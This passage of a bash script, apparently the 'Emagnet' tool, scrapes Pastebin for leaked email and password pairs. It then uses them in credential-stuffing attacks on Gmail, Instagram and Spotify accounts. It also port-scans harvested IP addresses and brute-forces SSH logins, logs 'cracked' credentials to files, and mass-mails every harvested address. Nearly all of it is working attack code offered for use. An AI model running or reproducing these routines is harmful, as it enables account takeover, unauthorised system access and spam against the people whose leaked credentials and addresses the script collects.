489 sed -i '125 i GBRUTEFORCE=false' "$CONF"
490 sed -i '126d' "$CONF"
491 sed -i '126 i SBRUTEFORCE=true' "$CONF"
492 sed -i '127d' "$CONF"
493 sed -i '127 i PBRUTEFORCE=false' "$CONF"
494 sed -i '128d' "$CONF"
495 sed -i '128 i IBRUTEFORCE=false' "$CONF"
496 emagnet_conf
497 printf "%18s \e[0;32mSPOTIFY\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n"
498 printf "\n%64s \n\n" | tr ' ' '='
499 emagnet_analyzer
500 elif [[ "$PBRUTEFORCE" = "true" ]]; then
501 sed -i '125d' "$CONF"
502 sed -i '125 i GBRUTEFORCE=false' "$CONF"
503 sed -i '126d' "$CONF"
504 sed -i '126 i SBRUTEFORCE=false' "$CONF"
505 sed -i '127d' "$CONF"
506 sed -i '127 i PBRUTEFORCE=true' "$CONF"
507 sed -i '128d' "$CONF"
508 sed -i '128 i IBRUTEFORCE=false' "$CONF"
509 emagnet_conf
510 printf "%20s \e[1;34mSSH\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n"
511 printf "\n%64s \n\n" | tr ' ' '='
512 emagnet_analyzer
513 elif [[ "$IBRUTEFORCE" = "true" ]]; then
514 sed -i '125d' "$CONF"
515 sed -i '125 i GBRUTEFORCE=false' "$CONF"
516 sed -i '126d' "$CONF"
517 sed -i '126 i SBRUTEFORCE=false' "$CONF"
518 sed -i '127d' "$CONF"
519 sed -i '127 i PBRUTEFORCE=false' "$CONF"
520 sed -i '128d' "$CONF"
521 sed -i '128 i IBRUTEFORCE=true' "$CONF"
522 emagnet_conf
523 printf "%20s \e[0;33mINSTAGRAM\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n"
524 printf "\n%64s \n\n" | tr ' ' '='
525 emagnet_analyzer
526 else
527 emagnet_conf
528 sed -i '125d' "$CONF"
529 sed -i '125 i GBRUTEFORCE=false' "$CONF"
530 sed -i '126d' "$CONF"
531 sed -i '126 i SBRUTEFORCE=false' "$CONF"
532 sed -i '127d' "$CONF"
533 sed -i '127 i PBRUTEFORCE=false' "$CONF"
534 sed -i '128d' "$CONF"
535 sed -i '128 i IBRUTEFORCE=false' "$CONF"
536 emagnet_analyzer
537fi
538}
539
540emagnet_sshbruter() {
541emagnet_conf
542if [[ -z "$SSHPASS" ]]; then
543 echo -e "You must set a password to use during the attack"
544 read -p "Enter a password or hit enter for default (Default: root) " sshpassb
545 echo ""
546 if [[ -n "$sshpassb" ]]; then
547 sed -i '183d' "$CONF"
548 sed -i "183 i SSHPASS=$sshpassb" "$CONF"
549 else
550 sed -i '183d' "$CONF"
551 sed -i "183 i SSHPASS=root" "$CONF"
552 fi
553fi
554
555# Skip all 192.168.* ip addresses, 11 ip addresses and all that begins on 1-9
556#SKIPLIST="^0\|^[0-9].[0-9].[0-9].*\|^[0-9]\..*\|^10\..*\|^192.168.*"
557grep -Ewro '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' "$EMAGNETHOME/.temp" \
558|awk -F':' '{print $2}' \
559|sort \
560|awk -F, '!seen[$1]++' > "$SSHPORTSCAN"
561
562 if [[ $(cat $SSHPORTSCAN|wc -l) -lt "1" ]]; then
563 echo -e " - IPv4 Addresses Found \r [\e[1;31m00\e[0m] "
564 sleep 2
565 else
566 echo -e " - IPv4 Addresses Found \r [\e[1;32m$(cat $SSHPORTSCAN|wc -l)\e[0m] "
567 sleep 2
568 xargs -i -P $THREADS timeout 0.5 nc -zvn {} 22 < $SSHPORTSCAN 2>&1|awk '{print $3} /succeeded/ '|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' > $SSHTARGETS
569 echo -e " - Has Port $SSHPORT Open\r [\e[1;32m$(cat $SSHPORTSCAN|wc -l)\e[0m] "
570 printf "\n%64s\n" | tr ' ' '='
571 printf "\n%15s";printf "BRUTE FORCING \e[1;34mSSH\e[0m TARGETS\e[0m\n\n"
572 sleep 2
573 # We can't send to log files due to pssh will crash with
574 # the message below when sending to stderr, we can use tee of course
575 # but it wont get perfect then, let us use the method below for now
576 # If you are still not happy, then see my sample on
577 # github for using another tools while reading files
578 # ------------------------------------------------------------------------
579 # Traceback (most recent call last):
580 # File "/usr/bin/pssh", line 118, in <module>
581 # do_pssh(hosts, cmdline, opts)
582 # File "/usr/bin/pssh", line 89, in do_pssh
583 # statuses = manager.run()
584
585# while read sshtargets; do
586 sshpass -p "$SSHPASS" pssh -O "StrictHostKeyChecking=no" -I -A -h $SSHTARGETS -i "uptime" < $SSHTARGETS |grep --color -i 'success\|failure'
587# if [[ $? -eq "0" ]]; then
588# echo -e "[\e[1;32m>>\e[0m] - Cracked $sshtargets: $SSHUSER:$SSHPASS"
589# echo -e "================================================================" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
590# echo -e "[+] Login Details For SSH - Cracked $(date +%d/%m/%Y\ -\ %H:%M)" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
591# echo -e "[+]------------------------------------------------------------" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
592# echo -e "[+] Username: $SSHUSER" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
593# echo -e "[+] Password: $SSHPASS" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
594# echo -e "================================================================\n\n" >> $EMAGNETLOGS/cracked-ssh-passwords.txt
595# else
596# echo -e "[\e[1;31m<<\e[0m] - Wrong Password For $sshtargets: $SSHUSER:$SSHPASS"
597# echo -e "[\e[\e[1;31m<<\e[0m] - failed to crack $SSHUSER:$SSHPASS " >> $EMAGNETLOGS/failed-2-crack.txt
598# fi
599 # done < $SSHTARGETS
600fi
601 sleep 4
602}
603
604emagnet_instagrambruter() {
605URL="https://www.instagram.com/accounts/login/ajax/"
606ACCEPTLANG="Accept-Language: sv-SE,en;q=0.7,en-US;q=0.3"
607ACCEPT="Accept: */*'"
608XCSFRTOKEN="X-CSRFToken: dBKbmgDvsJDSVpnMlnX3p7rNViGv0Cps"
609AJAX="X-Instagram-AJAX: 4a1f95f94afb' -H 'X-IG-App-ID: 936619743392459"
610
611 grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b:...*" "$EMAGNETTEMP" \
612 |awk '{print $1}' \
613 |cut -d':' -f2,3 \
614 |cut -d'|' -f1 \
615 |uniq|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'|grep -v "/" >> $HOME/.config/emagnet/tmp/.emagnet-instagram-accounts.txt
616
617while read instagramlogin; do
618INSTAGRAM_USER="$(echo $instagramlogin|sed 's/:/\&password\=/g')"
619INSTAGRAM_PASS="$(echo $instagramlogin|cut -d':' -f2)"
620
621 curl -s "${URL}" -H "${USERAGENT}" -H '$ACCEPT' -H "$ACCEPTLANG" --compressed -H "$XCSFRTOKEN" -H "$AJAX" -H 'X-IG-WWW-Claim: 0' -H \
622'Content-Type: application/x-www-form-urlencoded' -H 'X-Requested-With: XMLHttpRequest' -H \
623'Connection: keep-alive' -H 'Referer: https://www.instagram.com/accounts/login/?source=auth_switcher' -H \
624'Cookie: rur=VLL; csrftoken=dBKbmgDvsJDSVpnMlnX3p7rNViGv0Cps; mid=XWyxNwAEAAHy5kJG_MPLMsE7Uzzs' -H 'DNT: 1' -H 'TE: Trailers' --data \
625"username=$USERNAME"|grep -q 'checkpoint\|authenticated": true'
626if [[ $? -eq "0" ]]; then
627 echo -e "[\e[1;32m>>\e[0m] - Cracked Password: ${INSTAGRAM_USER}:${INSTAGRAM_PASS}"
628 echo -e "================================================================" >> "$EMAGNETLOGS/cracked-instagram-passwords.txt"
629 echo -e "[+] Login Details For INSTAGRAM - Cracked $(date +%d/%m/%Y\ -\ %H:%M)" >> "$EMAGNETLOGS/cracked-instasgram-passwords.txt"
630 echo -e "[+]------------------------------------------------------------" >> "$EMAGNETLOGS/cracked-instagram-passwords.txt"
631 echo -e "[+] Username: ${INSTAGRAM_USER}" >> "$EMAGNETLOGS/cracked-instagram-passwords.txt"
632 echo -e "[+] Password: ${INSTAGRAM_PASS}" >> "$EMAGNETLOGS/cracked-instsagram-passwords.txt"
633 echo -e "================================================================\n\n" >> "$EMAGNETLOGS/cracked-instagram-passwords.txt"
634 echo -e "[\e[1;32m>>\e[0m] - Cracked Password: ${INSTAGRAM_USER}:${INSTAGRAM_PASS}" >> "$HOME/.config/emagnet/tmp/.emagnet-cracked"
635 echo -e "[\e[1;31m<<\e[0m] - Wrong Password: ${INSTAGRAM_USER}:${INSTAGRAM_PASS}" >> "$HOME/.config/emagnet/tmp/.emagnet-failed"
636 SUCCEED="$(cat $HOME/.config/emagnet/tmp/.emagnet-instagram-cracked|grep 'Cracked Password'|wc -l)"
637 FAILED="$(cat $HOME/.config/emagnet/tmp/.emagnet-instagram-failed|grep 'Wrong Pasword'|wc -l)"
638 echo -e "[\e[1;32m>>\e[0m] - Cracked Password: $instagramlogin"
639else
640 echo -e "[\e[1;31m<<\e[0m] - Wrong Password: $instagramlogin"
641fi
642 done < $HOME/.config/emagnet/tmp/.emagnet-instagram-accounts.txt
643 printf "%64s \n" | tr ' ' '='
644 echo -e "Done! Successfully cracked $SUCCEED accounts and $FAILED failed.. \n"
645 sleep 3
646 rm "$HOME/.config/emagnet/tmp/.emagnet-instagram-accounts.txt"
647 sleep 0
648
649}
650
651emagnet_spotify_bruter() {
652# Not in USE, added a backup on my
653# host place if something happends
654VERSION="0.6.0"
655WWWSOURCE="https://nr1.nu/archive/sconsify"
656SCONSIFY="${WWWSOURCE}/linux-x86_64-sconsify-${VERSION}.next.zip"
657SPOTIFY_TARGETS="$HOME/.config/emagnet/tmp/.emagnet-passwords"
658
659 grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b:...*" "$EMAGNETTEMP" \
660 |awk '{print $1}' \
661 |cut -d':' -f2,3 \
662 |cut -d'|' -f1 \
663 |uniq|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'|grep -v "/" >> $HOME/.config/emagnet/tmp/.emagnet-passwords.txt
664
665 while read line; do
666 SPOTIFY_USER="$(echo $line|cut -d: -f1)"
667 SPOTIFY_PASS="$(echo $line|cut -d: -f2)"
668 ./sconsify -username="${SPOTIFY_USER}" <<< "${SPOTIFY_PASS}" 2> /dev/null|grep -i -q "bad"
669 if [[ "$?" -eq "0" ]]; then
670 echo -e "[\e[1;31m<<\e[0m] - Wrong Password: ${SPOTIFY_USER}:${SPOTIFY_PASS}"
671 else
672 grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b:...*" "$EMAGNETTEMP" \
673 |awk '{print $1}' \
674 |cut -d':' -f2,3 \
675 |cut -d'|' -f1 \
676 |uniq|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'|grep -v "/" >> $HOME/.config/emagnet/tmp/.emagnet-passwords.txt
677
678 echo -e "[\e[1;32m>>\e[0m] - Cracked Password: ${SPOTIFY_USER}:${SPOTIFY_PASS}"
679 echo -e "================================================================" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
680 echo -e "[+] Login Details For SPOTIFY - Cracked $(date +%d/%m/%Y\ -\ %H:%M)" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
681 echo -e "[+]------------------------------------------------------------" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
682 echo -e "[+] Username: ${SPOTIFY_USER}" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
683 echo -e "[+] Password: ${SPOTIFY_PASS}" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
684 echo -e "================================================================\n\n" >> "$EMAGNETLOGS/cracked-spotify-passwords.txt"
685 echo -e "[\e[1;32m>>\e[0m] - Cracked Password: ${SPOTIFY_USER}:${SPOTIFY_PASS}" >> "$HOME/.config/emagnet/tmp/.emagnet-cracked"
686 echo -e "[\e[1;31m<<\e[0m] - Wrong Password: ${SPOTIFY_USER}:${SPOTIFY_PASS}" >> "$HOME/.config/emagnet/tmp/.emagnet-failed"
687 SUCCEED="$(cat $HOME/.config/emagnet/tmp/.emagnet-cracked|grep 'Cracked Password'|wc -l)"
688 FAILED="$(cat $HOME/.config/emagnet/tmp/.emagnet-failed|grep 'Wrong Pasword'|wc -l)"
689 fi
690 done < "$HOME/.config/emagnet/tmp/.emagnet-passwords.txt"
691 if [[ $FAILED -gt "0" ]]; then
692 printf "%64s \n" | tr ' ' '='
693 echo -e "Done! Successfully cracked $SUCCEED accounts and $FAILED failed.. \n"
694 sleep 3
695 rm "$HOME/.config/emagnet/tmp/.emagnet-{failed,cracked}"
696 else
697 sleep 0
698 fi
699}
700
701emagnet_gmail_bruter() {
702if [[ eg=$(grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b\\:.*$" $EMAGNETTEMP|grep '\S'|sed 's/|/:/g'|awk '{print $1}'|cut -d: -f2,3|uniq|grep -v '"'\|','\|'<' |grep -i gmail.com|wc -l) -gt "0" ]]; then
703grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b:...*" $EMAGNETTEMP|awk '{print $1}'|cut -d: -f2,3|uniq|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'|grep -v /|grep -i gmail.com >> $HOME/.config/emagnet/tmp/.emagnet-passwords.txt
704
705while read -r line; do
706attack=$(curl -s -u $line https://mail.google.com/mail/feed/atom|grep -o xml)
707mail="$(echo $line | cut -d: -f1)"
708password="$(echo $line | cut -d: -f2)"
709
710 if [[ -z "$attack" ]]; then
711 printf "[-] Wrong Password For $mail: \e[1;31m$password\e[0m\n"
712 echo -e "[-] $(date +%d/%m/%Y\ -\ %H:%M) -> Wrong Password For $mail $mail: \e[1;31m$password\e[0m" >> "$EMAGNETLOGS/failed-to-crack.txt"
713 fi
714
715 if [[ -n "$attack" ]]; then
716 echo -e "[+] Password Has Been Cracked $mail: \e[1;32m$password\e[0m"
717 read -p "[+] Accounts to crack has been set to 1, emagnet has been killed.\n" hey
718 echo -e "================================================================" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
719 echo -e "[+] Login Details For Gmail - Cracked $(date +%d/%m/%Y\ -\ %H:%M)" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
720 echo -e "[+]------------------------------------------------------------" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
721 echo -e "[+] Username: $mail" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
722 echo -e "[+] Password: $password" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
723 echo -e "================================================================\n\n" >> "$EMAGNETLOGS/cracked-gmail-passwords.txt"
724 fi
725done < "$HOME/.config/emagnet/tmp/.emagnet-passwords.txt"
726 rm "$HOME/.config/emagnet/tmp/.emagnet-passwords.txt" &> /dev/null
727 sleep 3
728else
729 sleep 1
730fi
731}
732
733emagnet_spammer() {
734ssmtp &> /dev/null
735if [[ "$?" -gt "0" ]]; then printf "%s\n" "$basename$0: internal error -- ssmtp is required to be installed";exit 1;fi
736
737if [[ -z "$EMAIL2SEND" ]]; then
738 printf "%s\n" " - You must create a text file with the text you want to send"
739 printf "%s\n" " - to all targets, when text file has been created then you must"
740 printf "%s\n" " - set ~/textfile file in $CONF under EMAIL2SEND"
741 exit 1
742fi
743
744if ! [[ -f "$EMAIL2SEND" ]]; then
745 printf "%s\n\n" "$basename$0: internal error -- can't find $EMAIL2SEND, aborted..\n\n"
746 exit 1
747fi
748
749if [[ "$(ls $EMAGNETDB|wc -l)" -eq "0" ]]; then
750 echo -e "$basename$0: internal error -- no email addresses has been found, nothing to do, exiting.."
751 exit 1
752else
753emagnet_clear;emagnet_banner
754 NRTARGETS="$(grep -rEiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' $EMAGNETDB|cut -d: -f2|wc -l)"
755 printf "%24s \e[1;31mTargets: \e[1;32m$NRTARGETS\e[0m\e[0m\n\n"
756 read -p "- Do you want to send an email to all targets (yes/NO): " sendtoall
757 case $sendtoall in
758 "yes")
759 printf "\n%62s \n" | tr ' ' '='
760 grep -rEiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' $EMAGNETDB|cut -d: -f2 > $HOME/.config/emagnet/tmp/.emagnet-spam
761 while read e1; do printf "%-57s%s\n" "[+] Sending email to $e1 $(ssmtp $e1 < "$EMAIL2SEND")" "[DONE]";done < "$HOME/.config/emagnet/tmp/.emagnet-spam"
762 rm "$HOME/.config/emagnet/tmp/.emagnet-spam" &> /dev/null
763 ;;
764 "*")
765 echo -e "- Aborted..\n"
766 exit 1
767 ;;
768 esac
769fi
770}
771
772emagnet_syntax() {
773curl -H "$USERAGENT" -Ls "$PASTEBIN"|grep -q "blocked your IP"
774if [[ $? = "0" ]]; then
775 if [[ "$VPN" = "true" ]]; then
776 emagnet_banned
777 else
778 echo -e "[\e[1;31m<<\e[0m] - You have been blocked by pastebin"
779 echo -e "[\e[1;31m<<\e[0m] - Enable a vpn or please try again later, aborted\n"
780 exit 1
781 fi
782fi
783
784if [[ -z "$SYNTAX2DL" ]]; then echo -e "$basename$0: internal error -- you must include a syntax language (ex: bash, python or perl).";exit 1;fi
785
786curl -Ls "$PASTEBIN/archive/$SYNTAX2DL" \
787|grep -o '<a href="/........' \
788|cut -d'/' -f2 \
789|grep -E '[0-9]{1,4}' \
790|sed 's/^/https:\/\/pastebin.com\/raw\//g' > "$HOME/.config/emagnet/tmp/.emagnet-syntaxes-urls"
791 grep -q "$SYNTAX2DL" "$HOME/.config/emagnet/tmp/.emagnet-syntaxes"
792
793if [[ "$?" = "0" ]]; then
794 printf "Downloading $(cat $HOME/.config/emagnet/tmp/.emagnet-syntaxes-urls|wc -l) ${SYNTAX2DL} files.."
795 mkdir -p "$EMAGNETSYNTAX/$SYNTAX2DL"
796 xargs -P "${THREADS}" -n 1 wget --user-agent="${USERAGENT}" -nc -q < $HOME/.config/emagnet/tmp/.emagnet-syntaxes-urls -P "$EMAGNETSYNTAX/$SYNTAX2DL" &> /dev/null
797 printf "\n%s\n" "Done.."
798 rm "$HOME/.config/emagnet/tmp/.emagnet-syntaxes-urls" "$HOME/.config/emagnet/tmp/.emagnet-syntaxes" &> /dev/null
799 else
800 curl -Ls "$PASTEBIN/languages" \
801 |grep -o 'href="/archive/............' \
802 |cut -d'<' -f1 \
803 |cut -d'/' -f3 \
804 |cut -d'"' -f1 > $HOME/.config/emagnet/tmp/.emagnet-syntaxes
805 echo -e "$basename$0: internal error -- $SYNTAX2DL is not a valid syntax language.."
806 echo -e "try 'cat $HOME/.config/emagnet/tmp/.emagnet-syntaxes' for find valid syntaxes"
807 exit 1
808fi
809}
810
811emagnet_main() {
812 curl -H "$USERAGENT" -Ls "$PASTEBIN/archive" \
813 |awk -F'href="/' '{print $2}' \
814 |cut -d'"' -f1 \
815 |awk 'length($0)>6 && length($0)<9' \
816 |grep -v 'archive\|contact\|settings\|messages\|signup\|index.html' \
817 |awk '{print tolower($0)}' > $HOME/.config/emagnet/tmp/.emagnet1
818 ls -1 "$EMAGNETALL" \
819 |sort > "$HOME/.config/emagnet/tmp/.1"
820 cat "$HOME/.config/emagnet/tmp/.emagnet1" \
821 |sort \
822 |cut -d/ -f5 > "$HOME/.config/emagnet/tmp/.2"
823 grep -v -x -F -f "$HOME/.config/emagnet/tmp/.1" "$HOME/.config/emagnet/tmp/.2" \
824 |awk -F, '!seen[$1]++' \
825 |sed "s/^/https:\/\/pastebin.com\/raw\//g" > "$HOME/.config/emagnet/tmp/.emagnet"
826 rm "$HOME/.config/emagnet/tmp/.1" "$HOME/.config/emagnet/tmp/.2" &> /dev/null
827
828 if [[ "$(cat $HOME/.config/emagnet/tmp/.emagnet1|wc -l)" = "8" ]]; then emagnet_notice_about_scraping ;fi
829 if [[ "$(cat $HOME/.config/emagnet/tmp/.emagnet1|grep https)" = "0" ]]; then emagnet_heavyload;emagnet_I_was_banned;fi
830 xargs -P "${THREADS}" -n 1 wget --user-agent="${USERAGENT}" -q -nc -P "$EMAGNETTEMP" < $HOME/.config/emagnet/tmp/.emagnet &> /dev/null
831 tt="$(cat $HOME/.config/emagnet/tmp/.emagnet| wc -l)"
832 [[ "$tt" -lt "10" ]] && tt="0$tt"
833
834 if [[ "${tt}" -eq "0" ]]; then
835 grep -rEiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' "$EMAGNETTEMP"|cut -d: -f1|tr ' ' '\n'
836 printf "[\e[1;31m<<\e[0m] - No new files could be downloaded..\n[\e[1;31m<<\e[0m] - Increase time or you will get banned anytime now..\n\n"
837 tt="\e[1;31m\e[5m00\e[0m"
838 sleep 5 # Sleep here for make some room, this will not cause any problems with missing files
839 emagnet_clear
840 emagnet_banner
841 else
842 echo -e "\n======================================\nPastebin URLS from: $(date +%d/%m/%Y\ -\ %H:%M)\n======================================" >> "$EMAGNETLOGS/pastebin-urls.txt"
843 cat "$HOME/.config/emagnet/tmp/.emagnet" >> "$EMAGNETLOGS/pastebin-urls.txt"
844 fi
845
846## -> REGEX PART
847ef=$(grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b\\:.*$" "$EMAGNETTEMP"|awk -F':' '{print $1}'|awk -F, '!seen[$1]++')
848el=$(grep -rEiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' $EMAGNETTEMP|cut -d: -f2|tr ' ' '\n'|awk -F, '!seen[$1]++')
849et=$(grep -rEiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' $EMAGNETTEMP|tr ' ' '\n'|wc -l)
850pf=$(grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b\\:.*$" $EMAGNETTEMP|grep '\S'|sed 's/|/:/g'|awk '{print $1}'|cut -d: -f1|uniq|grep -v '"'\|','\|'<'|tr ' ' '\n')
851pl=$(grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b\\:.*$" "$EMAGNETTEMP"|awk '{print $1}'|cut -d':' -f2,3|cut -d'|' -f1|awk -F, '!seen[$1]++'|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'\|'index.html'\|'alerts'|grep -v '/')
852pt=$(grep -rEiEio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b:...*" $EMAGNETTEMP|awk '{print $1}'|cut -d: -f2,3|uniq|grep -v ''\|'/'\|'"'\|','\|'<'\|'>'\|'\/'\|'\\'|grep -v /|wc -l)
853
854[[ "$et" -lt 10 ]] && et="0$et";[[ "$pt" -lt 10 ]] && pt="0$pt"
855 if [[ "$pt" -gt "00" ]] && [[ "$et" -gt "00" ]]; then
856 echo -e "[$(date +%d/%m/%Y\ -\ %H:%M)]: Found ${pt} passwords from: $EMAGNETPW/${pf##*/}" | xargs >> "$EMAGNETLOGS/emagnet.log"
857 echo -e "[$(date +%d/%m/%Y\ -\ %H:%M)]: Found ${et} email addresses from: $EMAGNETDB/${ef##*/}"|xargs >> "$EMAGNETLOGS/emagnet.log"
858 echo -e "${pl}" >> $EMAGNETLOGS/passwords-from-pastebin.txt
859 echo -e "${el}" >> $EMAGNETLOGS/emails-from-pastebin.txt
860 cp -rn ${ef} $EMAGNETDB/ &> /dev/null
861 cp -rn ${pf} $EMAGNETPW/ &> /dev/null
862
863 if [[ "$NOTIFY" = "true" ]]; then
864 notify-send "Emagnet" "\n
865 "${tt}" - Files Downloaded\n
866 "${pt}" - Passwords Found\n
867 "${et}" - Email Addresses Found"
868 fi
869
870 echo -e " - Files Downloaded\r [\e[1;32m$tt\e[0m] "
871 echo -e " - Passwords Found \r [\e[1;32m$pt\e[0m] "
872 echo -e " - Email Addresses Found \r [\e[1;32m$et\e[0m]\n "
873
874 sleep 2
875 if [[ "$GBRUTEFORCE" = "true" ]]; then
876 printf "%64s \n\n" | tr ' ' '='
877 printf "%17s";printf "BRUTE FORCING -- $(echo -e "\e[1;34mG\e[1;31mM\e[1;33mA\e[1;34mI\e[0;32mL\E[1;31m\e[0m") ACCOUNTS\e[0m\n\n"
878 emagnet_gmail_bruter
879 elif [[ "$SBRUTEFORCE" = "true" ]]; then
880 emagnet_sshbruter
881 elif [[ "$PBRUTEFORCE" = "true" ]]; then
882 printf "%64s \n\n" | tr ' ' '='
883 printf "%15s";printf "BRUTE FORCING -- \e[0;32mSPOTIFY\e[0m ACCOUNTS\e[0m\n\n"
884 emagnet_spotify_bruter
885 elif [[ "$IBRUTEFORCE" = "true" ]]; then
886 printf "%64s \n\n" | tr ' ' '='
887 printf "%14s";printf "BRUTE FORCING -- \e[0;33mINSTAGRAM\e[0m ACCOUNTS\e[0m\n\n"
888 emagnet_instagrambruter
889 else
890 sleep 0
891 fi
892 elif [[ "$pt" = "00" ]] && [[ "$et" -gt "00" ]]; then
893 cp -rn ${ef} $EMAGNETDB/ &> /dev/null
894 echo -e "${el}" >> "$EMAGNETLOGS/emails-from-pastebin.txt"
895 echo -e "[$(date +%d/%m/%Y\ -\ %H:%M)]: Found ${et} email addresses from $EMAGNETDB/${e##*/}"|xargs >> "$EMAGNETLOGS/emagnet.log"
896 if [[ "$NOTIFY" = "true" ]]; then
897 notify-send "Emagnet" "\n
898 ${tt} - Files downloaded\n
899 00 - Passwords found\n
900 ${et} - Email addresses found"
901 fi
902 echo -e " - Files Downloaded\r [\e[1;32m$tt\e[0m] "
903 echo -e " - Passwords Found \r [\e[1;31m00\e[0m] "
904 echo -e " - Email Addresses Found \r [\e[1;32m$et\e[0m] \n"
905
906 sleep 2
907 else
908 if [[ "$NOTIFY" = "true" ]]; then
909 notify-send "Emagnet" "\n
910 ${tt} - Files downloaded\n
911 00 - Passwords found\n
912 00 - Email addresses found"
913 fi
914 echo -e " - Files Downloaded\r [\e[1;32m$tt\e[0m] "
915 echo -e " - Passwords found \r [\e[1;31m00\e[0m] "
916 echo -e " - Email Addresses Found \r [\e[1;31m00\e[0m] \n"
917
918 sleep 2
919
920 fi
921
922# No matter what we found, move incoming files to archive and remove temp files
923 mv $EMAGNETTEMP/* $EMAGNETHOME/all-files &> /dev/null
924 rm "$HOME/.config/emagnet/tmp/.emagnet" "$HOME/.config/emagnet/tmp/.emagnet1" &> /dev/null
925 sleep 2
926# Kill notify-send no matter what time is set
927# because on some crap distros it freezes for
928# unknown reason
929 pkill -9 "notify-send" &> /dev/null
930}
931
932emagnet_run4ever() {
933 emagnet_conf
934 curl -H "$USERAGENT" -sL "$PASTEBIN"|grep -q "blocked your IP"; if [[ "$?" = "0" ]]; then if [[ "$VPN" = "true" ]]; then emagnet_banned; else emagnet_I_was_banned;fi;fi
935 for (( ; ; )); do
936 emagnet_count_down
937 emagnet_clear
938 emagnet_banner
939 emagnet_analyzing_message
940 emagnet_clear
941 emagnet_banner
942 emagnet_I_was_banned
943 emagnet_main
944 done
945}
946
947emagnet_first_run() {
948if ! [[ -f "$CONF" ]]; then
949 emagnet_requirements
950 emagnet_required_stuff
951 emagnet_conf
952 emagnet_mustbefilled
953 emagnet_paths
954 emagnet_is_this_android
955 emagnet_I_was_banned
956 timeout 2 ping -t 1 -c 1 nr1.nu &> /dev/null
957 [[ "$?" -gt "0" ]] && sed -i '40d' $CONF;sed -i '40 i MYIP=127.0.0.1' $CONF || wip
958 emagnet_conf
959fi
960}
961
962# This is the most simple method to call
963# all functions until things get better sorted
964# and cleaned up, then we can use long options with args
965case "${1}" in
966
967 "-a"|"-author"|"--author")
968 emagnet_author
969 ;;
970
971 "emagnet"|"-e"|"-emagnet"|"--emagnet")
972 emagnet_iconnection
973 emagnet_first_run
974 sed -i 's/GBRUTEFORCE=true/GBRUTEFORCE=false/g' "$CONF"
975 sed -i 's/SBRUTEFORCE=true/SBRUTEFORCE=false/g' "$CONF"
976 sed -i 's/PBRUTEFORCE=true/PBRUTEFORCE=false/g' "$CONF"
977 sed -i 's/IBRUTEFORCE=true/IBRUTEFORCE=false/g' "$CONF"
978 emagnet_run4ever
979 ;;
980
981 "-g"|"-bruteforce"|"--bruteforce")
982 sed -i 's/GBRUTEFORCE=true/GBRUTEFORCE=false/g' "$CONF"
983 sed -i 's/SBRUTEFORCE=true/SBRUTEFORCE=false/g' "$CONF"
984 sed -i 's/PBRUTEFORCE=true/PBRUTEFORCE=false/g' "$CONF"
985 sed -i 's/IBRUTEFORCE=true/IBRUTEFORCE=false/g' "$CONF"
986 emagnet_iconnection
987 emagnet_first_run
988
989 if [[ "$2" = "gmail" ]]; then
990 sed -i 's/GBRUTEFORCE=false/GBRUTEFORCE=true/g' "$CONF"
991 emagnet_conf
992 if [[ "$GBRUTEFORCE" = "true" ]]; then
993 emagnet_run4ever
994 emagnet_gmail_bruter
995 mv $EMAGNETTEMP/* $EMAGNETHOME/all-files &> /dev/null
996 fi
997
998 elif [[ "$2" = "ssh" ]]; then
999 sed -i 's/SBRUTEFORCE=false/SBRUTEFORCE=true/g' "$CONF"
1000 emagnet_conf
1001 if [[ "$SBRUTEFORCE" = "true" ]]; then
1002 emagnet_run4ever
1003 emagnet_sshbruter
1004 mv $EMAGNETTEMP/* $EMAGNETHOME/all-files &> /dev/null
1005 fi
1006
1007 elif [[ "$2" = "instagram" ]]; then
1008 sed -i 's/IBRUTEFORCE=false/IBRUTEFORCE=true/g' "$CONF"
